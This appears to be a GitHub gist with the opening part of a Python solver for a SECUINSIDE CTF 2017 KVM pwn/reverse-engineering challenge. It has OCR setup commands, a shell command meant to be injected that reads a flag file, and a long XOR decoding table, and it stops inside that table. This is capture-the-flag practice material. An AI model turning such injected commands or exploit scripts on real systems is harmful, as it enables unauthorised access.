Last active
October 10, 2019 04:35
-
-
Save eggpod/3fbda11dda617d0ca67c3871f9bdac3b to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#-*- coding: utf-8 | |
""" | |
SECUINSIDE CTF 2017 - KVM PWN, KVM REV | |
wget http://www.leptonica.com/source/leptonica-1.74.4.tar.gz | |
./configure && make install | |
wget https://github.com/tesseract-ocr/tesseract/archive/3.05.zip | |
./autogen.sh && ./configure && make install | |
wget https://github.com/tesseract-ocr/tessdata/blob/3.04.00/kor.traineddata | |
cp kor.traineddata /usr/local/share/tessdata/kor.traineddata | |
apt-get install fonts-nanum-coding | |
-- | |
echo 'this_is_flag' > /home/kimchi-vm/pwnable_flag.txt | |
python secuinside2017_kvm.py | |
./kvm < kvminput | |
""" | |
import numpy | |
import PIL.Image | |
import PIL.ImageDraw | |
import PIL.ImageFont | |
import os, sys | |
from ctypes import * | |
msg_list = [ | |
u"두",u"강",u"남",u"스",u"타",u"일",u"김",u"치", | |
u"불",u"고",u"기",u"한",u"우",u"장",u"어",u"돼", | |
u"지",u"구",u"글",u"좋",u"아",u"마",u"법",u"사", | |
u"태",u"국",u"정",u"보",u"술",u"원",u"임",u"준", | |
] | |
LINE_CHAR_COUNT = 24 | |
SHELL_CMD = "cat /home/kimchi-vm/pwnable_flag.txt" | |
functable = [] | |
functable.append(lambda a1,a2:((a2 ^ 0x18) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xE) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x13) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 1) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 7) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xD) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x18) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 5) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 1) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x10) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1C) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x10) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xD) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xF) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 9) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x18) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x19) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 9) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xB) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x15) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1A) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xE) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 7) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xB) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xA) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 9) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x13) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x15) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1B) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1B) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xD) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 8) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xB) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xA) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x13) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 1) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 2) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x18) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 9) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x16) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x13) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x13) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 2) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x19) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 9) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 6) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xD) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xE) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 6) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1C) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 7) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 9) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1B) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xB) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 2) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x18) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xD) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1E) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 6) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xD) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:(a2 ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1D) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1C) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 6) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x10) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x10) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x13) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x19) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1C) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 2) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 8) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x10) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xB) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xF) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xD) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1C) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xF) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1D) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 2) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x12) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x15) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xA) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 7) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x19) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 5) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x15) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xD) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xF) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x19) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x15) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x15) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 5) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x13) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1A) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1D) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x11) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1B) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xD) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x19) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x18) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xF) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1E) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:(a2 ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1B) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xA) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1C) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x12) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 2) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xA) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x11) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x11) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1B) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xE) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 9) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1B) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:(a2 ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1A) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xE) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:(a2 ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x15) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xA) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 6) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x16) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 5) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1A) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x13) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1D) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 5) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x15) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x13) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 6) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 1) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 5) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1E) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x13) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 6) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:(a2 ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:(a2 ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1B) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 1) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xE) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xD) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x10) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x10) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xE) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x11) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 5) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x18) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x15) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xF) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xE) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x15) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1E) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x13) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x15) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xE) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x16) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xF) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xD) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 7) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xE) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 9) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x13) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1D) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1C) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1A) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1E) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1A) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x15) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x10) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x16) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 7) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 1) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 1) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 5) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 9) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1D) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x13) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x19) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x15) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x18) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xE) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 2) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x13) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1C) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 6) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 9) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x19) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x15) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1A) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:(a2 ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 2) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 8) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 6) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xA) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 6) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 2) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xD) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x13) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xA) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x12) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x19) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 8) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xD) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x18) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 1) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x10) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 2) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1B) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:(a2 ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xA) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x13) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x12) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xD) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 8) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 9) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1E) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x19) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x10) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 6) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1B) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x18) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x11) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xD) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xE) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x16) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 1) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 5) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 1) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:(a2 ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1C) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1A) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xA) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x19) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x11) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x16) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 6) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 7) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1E) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 7) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x12) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x15) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 1) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 8) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1C) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 2) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xE) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x16) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 7) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 7) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1A) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1C) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xB) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x19) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x11) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1C) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xE) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 5) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x13) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xF) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1B) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 8) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xA) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x12) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xF) ^ a1) & 0x1F) | |
